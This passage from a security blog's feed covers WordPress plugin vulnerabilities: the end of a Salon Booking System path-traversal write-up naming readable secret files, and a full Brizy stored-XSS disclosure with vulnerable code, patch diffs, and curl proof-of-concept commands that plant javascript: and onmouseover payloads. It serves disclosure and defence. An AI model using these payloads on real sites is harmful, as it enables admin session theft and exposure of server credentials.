&lt;p&gt;After the Details step succeeds, navigate to the Summary step in the browser (or replay the form submission via curl). Confirm the booking. This triggers &lt;code&gt;SLN_Service_Messages::sendSummaryMail()&lt;/code&gt;, which calls &lt;code&gt;SLN_Plugin::sendMail()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Receive the exfiltrated file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Check the email inbox for the address submitted in Step 3. The booking confirmation email will contain the target file (&lt;code&gt;wp-config.php&lt;/code&gt;) as an email attachment.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker receives a standard booking confirmation email with the target server file attached. The attachment contains the full plaintext contents of the file (for example, &lt;code&gt;wp-config.php&lt;/code&gt; includes the WordPress database username, password, host, and secret keys).&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Open the email attachment. For &lt;code&gt;wp-config.php&lt;/code&gt;, look for lines like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;DB_NAME&apos;, &apos;wordpress&apos; );
define( &apos;DB_USER&apos;, &apos;wp_user&apos; );
define( &apos;DB_PASSWORD&apos;, &apos;secret_password&apos; );
define( &apos;AUTH_KEY&apos;, &apos;...&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If these values are present in the attachment, the exploit succeeded. The same technique works for any file readable by the web server process, including &lt;code&gt;/etc/passwd&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt; files, and SSH private keys.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch modifies four locations across three files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src/SLN/Shortcode/Salon/AbstractUserStep.php&lt;/code&gt;&lt;/strong&gt; (two locations): The patch adds &lt;code&gt;basename((string) $file)&lt;/code&gt; to strip directory components from the file value at the point it is stored in both &lt;code&gt;successRegistration()&lt;/code&gt; and &lt;code&gt;bindValues()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src/SLN/Shortcode/Salon/DetailsStep.php&lt;/code&gt;&lt;/strong&gt;: The patch adds &lt;code&gt;basename((string) $file)&lt;/code&gt; at the point where logged-in users update their file-field profile data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src/SLN/Plugin.php&lt;/code&gt;&lt;/strong&gt;: The patch adds a defense-in-depth check at the email-sending layer. It applies &lt;code&gt;basename()&lt;/code&gt; to the stored value again, then calls &lt;code&gt;realpath()&lt;/code&gt; and checks that the resolved path starts with the uploads base directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch fixes the root cause (unsanitized storage) and adds a second layer at the usage point. The &lt;code&gt;basename()&lt;/code&gt; call strips all directory path segments, leaving only the filename. Even if an attacker submits &lt;code&gt;../../../../etc/passwd&lt;/code&gt;, &lt;code&gt;basename()&lt;/code&gt; reduces it to &lt;code&gt;passwd&lt;/code&gt; — a harmless filename that will not resolve to a sensitive path.&lt;/p&gt;
&lt;p&gt;The additional &lt;code&gt;realpath()&lt;/code&gt; + &lt;code&gt;strpos()&lt;/code&gt; containment check in &lt;code&gt;Plugin.php&lt;/code&gt; provides defense-in-depth: even if a future code path stores a value without &lt;code&gt;basename()&lt;/code&gt;, the attachment builder will reject any path that resolves outside the uploads directory. This means neither old stored data with traversal sequences nor any future regression can trigger the exfiltration.&lt;/p&gt;
&lt;p&gt;There are no residual risks from this specific patch — the fix is applied at all three storage locations and hardened at the usage layer.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/src/SLN/Shortcode/Salon/AbstractUserStep.php
+++ b/src/SLN/Shortcode/Salon/AbstractUserStep.php
@@ -37,7 +37,7 @@ abstract class SLN_Shortcode_Salon_AbstractUserStep
         $data = array_map(function($file) {
             return array(
                 &apos;subdir&apos; =&amp;gt; wp_upload_dir()[&apos;subdir&apos;],
-                &apos;file&apos;   =&amp;gt; $file,
+                &apos;file&apos;   =&amp;gt; basename((string) $file),
             );
         }, $values[$k]);

@@ -197,7 +197,7 @@ abstract class SLN_Shortcode_Salon_AbstractUserStep
         $data = array_map(function($file) {
             return array(
                 &apos;subdir&apos; =&amp;gt; wp_upload_dir()[&apos;subdir&apos;],
-                &apos;file&apos;   =&amp;gt; $file,
+                &apos;file&apos;   =&amp;gt; basename((string) $file),
             );
         }, $data);

--- a/src/SLN/Shortcode/Salon/DetailsStep.php
+++ b/src/SLN/Shortcode/Salon/DetailsStep.php
@@ -179,7 +179,7 @@ class SLN_Shortcode_Salon_DetailsStep
         $data = array_map(function($file) {
             return array(
                 &apos;subdir&apos; =&amp;gt; wp_upload_dir()[&apos;subdir&apos;],
-                &apos;file&apos;   =&amp;gt; $file,
+                &apos;file&apos;   =&amp;gt; basename((string) $file),
             );
         }, $values[$k]);

--- a/src/SLN/Plugin.php
+++ b/src/SLN/Plugin.php
@@ -138,10 +138,13 @@ class SLN_Plugin
     $settings[&apos;attachments&apos;] = array();
     $additional_fields = SLN_Enum_CheckoutFields::additional();
+    $uploads_basedir = realpath(wp_get_upload_dir()[&apos;basedir&apos;]);
     foreach($additional_fields as $field){
         if($field[&apos;type&apos;] === &apos;file&apos; &amp;amp;&amp;amp; isset($data[&apos;booking&apos;])){
             $attachments = $data[&apos;booking&apos;]-&amp;gt;getMeta($field[&apos;key&apos;]);
             if(is_array($attachments)){
                 foreach($data[&apos;booking&apos;]-&amp;gt;getMeta($field[&apos;key&apos;]) as $f){
                     if($f){
-                        $settings[&apos;attachments&apos;][] = implode(&apos;/&apos;, array_filter(array(wp_get_upload_dir()[&apos;basedir&apos;], trim($f[&apos;subdir&apos;], &apos;/&apos;), $f[&apos;file&apos;])));
+                        $candidate = implode(&apos;/&apos;, array_filter(array(wp_get_upload_dir()[&apos;basedir&apos;], trim($f[&apos;subdir&apos;], &apos;/&apos;), basename((string) $f[&apos;file&apos;]))));
+                        $real = realpath($candidate);
+                        if ($real &amp;amp;&amp;amp; $uploads_basedir &amp;amp;&amp;amp; strpos($real, $uploads_basedir) === 0) {
+                            $settings[&apos;attachments&apos;][] = $real;
+                        }
                     }
                 }
             }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by daroo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 1, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 1, 2026&lt;/td&gt;
&lt;td&gt;Patched version 10.30.26 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;salon-booking-system&lt;/code&gt; plugin to version &lt;strong&gt;10.30.26&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, disable all custom checkout fields of type &lt;code&gt;file&lt;/code&gt; in the plugin&apos;s admin settings (Booking → Additional Fields) as a temporary mitigation.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/salon-booking-system/salon-booking-system-free-version-103025-unauthenticated-arbitrary-file-read-via-booking-file-field-path-traversal&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6320&quot;&gt;CVE-2026-6320&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3512110/salon-booking-system&quot;&gt;WordPress Trac Changeset 3512110&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-05T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5324: Unauthenticated XSS in Brizy Page Builder</title><link>https://hurayraiit.com/blog/cve-2026-5324-unauthenticated-xss-in-brizy-page-builder/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5324-unauthenticated-xss-in-brizy-page-builder/</guid><description>CVE-2026-5324 is a CVSS 7.2 unauthenticated stored XSS in Brizy – Page Builder (≤ 2.8.11) that lets attackers inject scripts executed in the WordPress admin.</description><pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5324&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; unauthenticated stored cross-site scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/brizy/&quot;&gt;Brizy – Page Builder&lt;/a&gt; WordPress plugin. Any unauthenticated visitor can permanently inject a JavaScript payload into the site&apos;s admin panel — no account required — and the script fires when an administrator opens the form Leads page.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Brizy – Page Builder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;brizy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5324&quot;&gt;CVE-2026-5324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting via FileUpload Field Value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/brizy.2.8.11.zip&quot;&gt;&amp;lt;= 2.8.11&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/brizy.2.8.12.zip&quot;&gt;2.8.12&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 1, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;momopon1415&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/brizy/brizy-page-builder-2811-unauthenticated-stored-cross-site-scripting-via-fileupload-field-value&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;An unauthenticated attacker can store malicious JavaScript in any WordPress site running Brizy – Page Builder ≤ 2.8.11. The script fires when an administrator opens the form Leads page in the WordPress admin panel. No login, account, or interaction with a real form is required to plant the payload.&lt;/p&gt;
&lt;p&gt;The vulnerability chains three weaknesses. First, the form submission endpoint skips nonce verification for visitors who are not logged in. Second, the &lt;code&gt;handleFileTypeFields()&lt;/code&gt; function retains attacker-supplied field values when no file is uploaded. Third, the admin view decodes entity-encoded values and outputs them directly into an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag without sanitization. Together, these flaws allow a crafted &lt;code&gt;form_id&lt;/code&gt; submission to inject a JavaScript URI or an attribute-breaking payload that executes when the admin reviews submitted leads.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Unauthenticated form submission — &lt;code&gt;editor/forms/api.php:196–202&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;submit_form()&lt;/code&gt; is registered on both the authenticated (&lt;code&gt;wp_ajax_&lt;/code&gt;) and unauthenticated (&lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;) AJAX hooks (lines 75–76). When a visitor (not logged in) submits the form, the nonce check block is skipped entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// editor/forms/api.php:196-202
public function submit_form()
{
    if ( is_user_logged_in() ) {
        if ( empty( $_REQUEST[&apos;nonce&apos;] ) || ! wp_verify_nonce( $_REQUEST[&apos;nonce&apos;], Brizy_Editor_API::nonce ) ) {
            $this-&amp;gt;error( 401, &apos;Please refresh the page and try again.&apos; );
        }
    }
    // ← Unauthenticated requests reach here with no nonce check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An attacker posts directly to &lt;code&gt;/wp-admin/admin-ajax.php?action=brizy_submit_form&lt;/code&gt; with no nonce.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. FileUpload field value not cleared on missing file — &lt;code&gt;editor/forms/api.php:295–352&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;handleFileTypeFields()&lt;/code&gt; is hooked at priority &lt;code&gt;-100&lt;/code&gt; on &lt;code&gt;brizy_form_submit_data&lt;/code&gt;, so it runs before storage. It iterates &lt;code&gt;$_FILES[$field-&amp;gt;name][&apos;name&apos;]&lt;/code&gt; to replace field values with uploaded file URLs. When no file is attached, &lt;code&gt;$_FILES[$field-&amp;gt;name]&lt;/code&gt; is absent and the loop never executes. The attacker-controlled &lt;code&gt;$field-&amp;gt;value&lt;/code&gt; is returned unchanged:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// editor/forms/api.php:295-352 (vulnerable)
public function handleFileTypeFields($fields, $form)
{
    foreach ($fields as $field) {
        if ($field-&amp;gt;type == &apos;FileUpload&apos;) {
            $uFile = $_FILES[$field-&amp;gt;name]; // NULL when no file uploaded

            foreach ($_FILES[$field-&amp;gt;name][&apos;name&apos;] as $index =&amp;gt; $value) {
                // ← This loop is never entered; attacker value survives
                $field-&amp;gt;value = $file[&apos;url&apos;];
            }
        }
    }
    return $fields;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. htmlentities() storage — &lt;code&gt;admin/form-entries.php:296–310&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After &lt;code&gt;handleFileTypeFields()&lt;/code&gt;, the &lt;code&gt;form_submit_data()&lt;/code&gt; hook (priority &lt;code&gt;10&lt;/code&gt;) runs. For non-Paragraph fields, &lt;code&gt;sanitize_text_field()&lt;/code&gt; is called — it strips HTML tags, but leaves characters like &lt;code&gt;&quot;&lt;/code&gt; and JavaScript URIs (&lt;code&gt;javascript:&lt;/code&gt;) intact. The value is then encoded with &lt;code&gt;htmlentities()&lt;/code&gt; and stored in &lt;code&gt;post_content&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// admin/form-entries.php:302-310
$value = sanitize_text_field( $field-&amp;gt;value );
// javascript:alert(1) → passes through unchanged (no HTML tags)
// &quot; onmouseover=&quot;alert(1) → passes through unchanged

$fieldsCopy[ $i ]-&amp;gt;value = htmlentities( $value, ENT_COMPAT | ENT_HTML401, &apos;UTF-8&apos; );
// &quot; → stored as &amp;amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. html_entity_decode() reversal on display — &lt;code&gt;admin/form-entries.php:78–79&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When an administrator visits the Leads page, &lt;code&gt;manageCustomColumns()&lt;/code&gt; reads the stored &lt;code&gt;post_content&lt;/code&gt; and calls &lt;code&gt;html_entity_decode()&lt;/code&gt; on every field value before passing it to the view template:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// admin/form-entries.php:77-80
foreach ( $data-&amp;gt;formData as $i =&amp;gt; $field ) {
    $data-&amp;gt;formData[ $i ]-&amp;gt;name  = html_entity_decode( $field-&amp;gt;name, ENT_COMPAT, &apos;UTF-8&apos; );
    $data-&amp;gt;formData[ $i ]-&amp;gt;value = html_entity_decode( $field-&amp;gt;value, ENT_COMPAT, &apos;UTF-8&apos; );
    // &amp;amp;quot; → decoded back to &quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reverses the entity encoding that was applied at storage, restoring the raw attacker payload.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Unescaped output in admin template — &lt;code&gt;admin/views/form-data.php:9–14&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The form data template outputs FileUpload values directly into an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag with no escaping:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// admin/views/form-data.php:9-14 (vulnerable)
&amp;lt;?php if ( $type == &apos;FileUpload&apos; ): ?&amp;gt;
    &amp;lt;span id=&quot;&amp;lt;?php echo esc_attr($field-&amp;gt;name); ?&amp;gt;&quot;&amp;gt;
        &amp;lt;a href=&quot;&amp;lt;?php echo $field-&amp;gt;value; ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;
            &amp;lt;?php echo $field-&amp;gt;value; ?&amp;gt;
        &amp;lt;/a&amp;gt;
    &amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A value of &lt;code&gt;javascript:alert(document.cookie)&lt;/code&gt; renders as a clickable XSS link. A value like &lt;code&gt;&quot; onmouseover=&quot;alert(document.cookie)&lt;/code&gt; breaks out of the &lt;code&gt;href&lt;/code&gt; attribute and injects an event handler that fires on mouse hover.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The function &lt;code&gt;handleFileTypeFields()&lt;/code&gt; does not check whether &lt;code&gt;$_FILES[$field-&amp;gt;name]&lt;/code&gt; is set before iterating its contents. As a result, the attacker-supplied value in the &lt;code&gt;data&lt;/code&gt; POST parameter is stored without replacement. The output template then renders this value with no URL or HTML escaping.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags but leaves JavaScript URI schemes (&lt;code&gt;javascript:&lt;/code&gt;) and attribute-breaking characters (&lt;code&gt;&quot;&lt;/code&gt;) intact. &lt;code&gt;htmlentities()&lt;/code&gt; encodes these characters for safe storage — but &lt;code&gt;html_entity_decode()&lt;/code&gt; on the display path restores the raw payload before it reaches the unescaped &lt;code&gt;echo&lt;/code&gt; in &lt;code&gt;form-data.php&lt;/code&gt;. The round-trip encoding creates a false sense of safety while producing no net protection at output time.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can permanently store a JavaScript payload that fires in an administrator&apos;s browser session. This can lead to admin credential theft via &lt;code&gt;document.cookie&lt;/code&gt;, creation of new administrator accounts via authenticated AJAX calls, or full site takeover.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;brizy&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 2.8.11&lt;/li&gt;
&lt;li&gt;At least one Brizy page with a form that has a &lt;strong&gt;FileUpload&lt;/strong&gt; field, and the form&apos;s leads logging enabled (a form integration must be active — the default &quot;Save to Leads&quot; integration satisfies this)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the form ID&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Load any published WordPress page that contains a Brizy form with a FileUpload field. View the page source and look for the Brizy form markup. The &lt;code&gt;form_id&lt;/code&gt; is embedded in the rendered HTML as a data attribute, or can be found by observing the XHR request Brizy makes when the form is submitted normally using browser DevTools (Network tab → look for requests to &lt;code&gt;admin-ajax.php?action=brizy_submit_form&lt;/code&gt; → inspect the &lt;code&gt;form_id&lt;/code&gt; POST parameter).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Alternative: observe a real submission in the network tab
# The form_id is a short alphanumeric string like &quot;abc123def&quot;
FORM_ID=&quot;&amp;lt;form_id_from_page_source&amp;gt;&quot;
TARGET=&quot;https://victim-site.example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Submit a malicious FileUpload field value (no file attached)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request to the WordPress AJAX endpoint. Set the &lt;code&gt;data&lt;/code&gt; parameter to a JSON array containing a FileUpload field with a &lt;code&gt;javascript:&lt;/code&gt; URI as the value. Do not include any file in the request — the absence of a file is what allows the value to be retained.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST \
  &quot;${TARGET}/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=brizy_submit_form&quot; \
  --data-urlencode &quot;form_id=${FORM_ID}&quot; \
  --data-urlencode &apos;data=[{&quot;name&quot;:&quot;upload_field&quot;,&quot;type&quot;:&quot;FileUpload&quot;,&quot;value&quot;:&quot;javascript:alert(document.cookie)&quot;,&quot;label&quot;:&quot;Upload&quot;}]&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For an auto-firing payload via attribute injection (fires on hover, not just click):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST \
  &quot;${TARGET}/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=brizy_submit_form&quot; \
  --data-urlencode &quot;form_id=${FORM_ID}&quot; \
  --data-urlencode &apos;data=[{&quot;name&quot;:&quot;upload_field&quot;,&quot;type&quot;:&quot;FileUpload&quot;,&quot;value&quot;:&quot;\&quot; onmouseover=\&quot;alert(document.cookie)&quot;,&quot;label&quot;:&quot;Upload&quot;}]&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger execution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in to WordPress as an administrator and navigate to the Leads page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-admin/edit.php?post_type=editor-form-entry
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;For the &lt;code&gt;javascript:&lt;/code&gt; payload: click the link in the leads table — the script executes.&lt;/li&gt;
&lt;li&gt;For the &lt;code&gt;onmouseover&lt;/code&gt; payload: hover over the link in the leads table — the script fires automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The browser executes &lt;code&gt;alert(document.cookie)&lt;/code&gt; inside the administrator&apos;s session. In a real attack, the payload would be replaced with a script that exfiltrates the session cookie to an attacker-controlled server, or that creates a new backdoor administrator account via the WordPress REST API.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After the &lt;code&gt;curl&lt;/code&gt; request in Step 2:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Check the WordPress database — a new row in &lt;code&gt;wp_posts&lt;/code&gt; with &lt;code&gt;post_type = &apos;editor-form-entry&apos;&lt;/code&gt; should contain &lt;code&gt;javascript:alert(document.cookie)&lt;/code&gt; (HTML-entity encoded) in &lt;code&gt;post_content&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Open the Leads page as admin. Confirm the XSS fires as described above.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;editor/forms/api.php&lt;/code&gt;&lt;/strong&gt;: The patch adds a null/empty guard at the start of the &lt;code&gt;FileUpload&lt;/code&gt; branch in &lt;code&gt;handleFileTypeFields()&lt;/code&gt;. When no file is present in &lt;code&gt;$_FILES&lt;/code&gt;, it sets &lt;code&gt;$field-&amp;gt;value = &apos;&apos;&lt;/code&gt; and skips to the next field.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;admin/views/form-data.php&lt;/code&gt;&lt;/strong&gt;: The patch wraps every output with proper escaping — &lt;code&gt;esc_url()&lt;/code&gt; on the &lt;code&gt;href&lt;/code&gt; attribute, &lt;code&gt;esc_html()&lt;/code&gt; on the link text, and &lt;code&gt;wp_kses()&lt;/code&gt; with a minimal allow-list for non-FileUpload values.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch fixes the root cause. When no file is uploaded, &lt;code&gt;handleFileTypeFields()&lt;/code&gt; now forces the FileUpload value to an empty string before storage — so the attacker payload never reaches the database. The output escaping in &lt;code&gt;form-data.php&lt;/code&gt; provides defense-in-depth: &lt;code&gt;esc_url()&lt;/code&gt; strips &lt;code&gt;javascript:&lt;/code&gt; URIs, and &lt;code&gt;esc_html()&lt;/code&gt; encodes &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, and &lt;code&gt;&quot;&lt;/code&gt;, blocking both the JavaScript URI and the attribute-injection vectors. Both fixes are necessary — the storage fix alone would not protect against any future code path that writes unvalidated data, and the output fix alone would not have been sufficient because &lt;code&gt;esc_url()&lt;/code&gt; passes &lt;code&gt;javascript:&lt;/code&gt; URIs unchanged in some older WordPress versions.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/editor/forms/api.php
+++ b/editor/forms/api.php
@@ -297,6 +297,11 @@ class Brizy_Editor_Forms_Api
         foreach ($fields as $field) {
             if ($field-&amp;gt;type == &apos;FileUpload&apos;) {
+                if ( ! isset( $_FILES[ $field-&amp;gt;name ] ) || empty( $_FILES[ $field-&amp;gt;name ][&apos;name&apos;] ) ) {
+                    $field-&amp;gt;value = &apos;&apos;;
+                    continue;
+                }
+
                 $uFile = $_FILES[$field-&amp;gt;name];

--- a/admin/views/form-data.php
+++ b/admin/views/form-data.php
@@ -9,11 +9,11 @@
             &amp;lt;?php if ( $type == &apos;FileUpload&apos; ): ?&amp;gt;
                 &amp;lt;span id=&quot;&amp;lt;?php echo esc_attr($field-&amp;gt;name); ?&amp;gt;&quot;&amp;gt;
-                    &amp;lt;a href=&quot;&amp;lt;?php echo $field-&amp;gt;value; ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;
-                        &amp;lt;?php echo $field-&amp;gt;value; ?&amp;gt;
+                    &amp;lt;a href=&quot;&amp;lt;?php echo esc_url( $field-&amp;gt;value ); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;
+                        &amp;lt;?php echo esc_html( $field-&amp;gt;value ); ?&amp;gt;
                     &amp;lt;/a&amp;gt;
                 &amp;lt;/span&amp;gt;
             &amp;lt;?php else: ?&amp;gt;
                 &amp;lt;span id=&quot;...&quot; class=&quot;...&quot;&amp;gt;
-                    &amp;lt;?php echo strip_tags( $field-&amp;gt;value, &apos;&amp;lt;br&amp;gt;&apos; ); ?&amp;gt;
+                    &amp;lt;?php echo wp_kses( $field-&amp;gt;value, array( &apos;br&apos; =&amp;gt; array() ) ); ?&amp;gt;
                 &amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-09&lt;/td&gt;
